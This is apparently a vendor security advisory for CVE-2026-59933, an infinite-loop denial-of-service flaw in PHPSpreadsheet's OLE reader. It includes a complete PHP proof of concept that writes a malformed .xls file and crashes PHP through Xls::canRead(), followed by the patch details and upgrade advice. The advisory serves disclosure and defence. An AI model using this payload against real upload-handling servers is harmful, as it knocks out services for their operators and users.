high · 7.5CVE-2026-59933Jul 23, 2026

CVE-2026-59933: PHPSpreadsheet OLE Sector-Chain Infinite Loop (DoS)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A tiny malformed .xls file can make PHPSpreadsheet loop forever and exhaust all server memory, crashing PHP even during a routine file-type check.

Packagephpoffice/phpspreadsheet
Ecosystemcomposer
Affected>= 4.0.0, <= 5.8.0
Fixed in5.8.1

The problem

PHPSpreadsheet's OLERead class builds sector chains from attacker-controlled values in the XLS/OLE file header. The loop that walks the small-block depot chain has no cycle detection, no maximum iteration count, and no bounds check.

Setting the Sector Allocation Table (SAT) entry for sector 0 to point back to sector 0 traps the loop permanently. The same unguarded pattern appears in three additional chain-walk locations in OLERead.php. Because the loop runs inside OLERead::read(), which is called from Xls::canRead(), automatic format detection via IOFactory is also a trigger, not just a full file load.

Proof of concept

A working proof-of-concept for CVE-2026-59933 in phpoffice/phpspreadsheet, with the exact payload below.

php
<?php
// Build a 1 KiB malformed OLE file whose SAT maps sector 0 -> sector 0 (self-loop).
// Triggers fatal memory exhaustion in OLERead::read() at line 143.
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void {
    $data = substr_replace($data, $bytes, $off, strlen($bytes));
};
$set(0,  hex2bin('D0CF11E0A1B11AE1')); // OLE magic
$set(28, "\xfe\xff");               // byte order
$set(30, pack('v', 9));              // sector size exponent -> 512 B sectors
$set(32, pack('v', 6));              // mini sector size exponent -> 64 B
$set(44, pack('l', 1));              // 1 SAT sector
$set(48, pack('l', 0));              // directory first sector = 0
$set(56, pack('l', 4096));           // mini stream cutoff
$set(60, pack('l', 0));              // SSAT first sector = 0
$set(64, pack('l', 1));              // one SSAT sector
$set(68, pack('l', -2));             // no MSAT extension
$set(72, pack('l', 0));              // no extension sectors
$set(76, pack('l', 0));              // DIFAT[0]: SAT lives in sector 0
// KEY: SAT entry for sector 0 points back to sector 0 -> self-loop
$set(512, pack('l', 0));
file_put_contents('/tmp/selfloop.xls', $data);

// Trigger via canRead() (reachable from IOFactory auto-detection too)
require 'vendor/autoload.php';
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
$r->canRead('/tmp/selfloop.xls');
// Fatal error: Allowed memory size exhausted in OLERead.php on line 143

The vulnerable loop (while ($sbdBlock != -2)) uses only the OLE end-of-chain sentinel -2 as a stop condition. With sector 0 referencing itself in the SAT, getInt4d($this->bigBlockChain, 0 * 4) always returns 0, so $sbdBlock never changes and $this->smallBlockChain grows by 4 * bbs bytes on every iteration until memory is exhausted.

The patch at commit 85f2556 introduces a visited-sector set and a maximum chain length derived from the file size and sector size. Any revisited sector ID now throws a recoverable Reader\Exception instead of looping forever. The same guard was applied to all four chain-walk sites in OLERead.php.

The fix

Upgrade to phpoffice/phpspreadsheet 5.8.1 (or 3.10.7 / 2.4.7 / 2.1.18 / 1.30.6 for older branches). The fix is in commit 85f2556b0bf5269061bf45932ecda8a128d81750. If you cannot upgrade immediately, reject .xls uploads at the application layer before passing them to any PHPSpreadsheet reader or IOFactory auto-detection.

Reported by sondt23.

References: [1][2][3][4][5][6]

Related research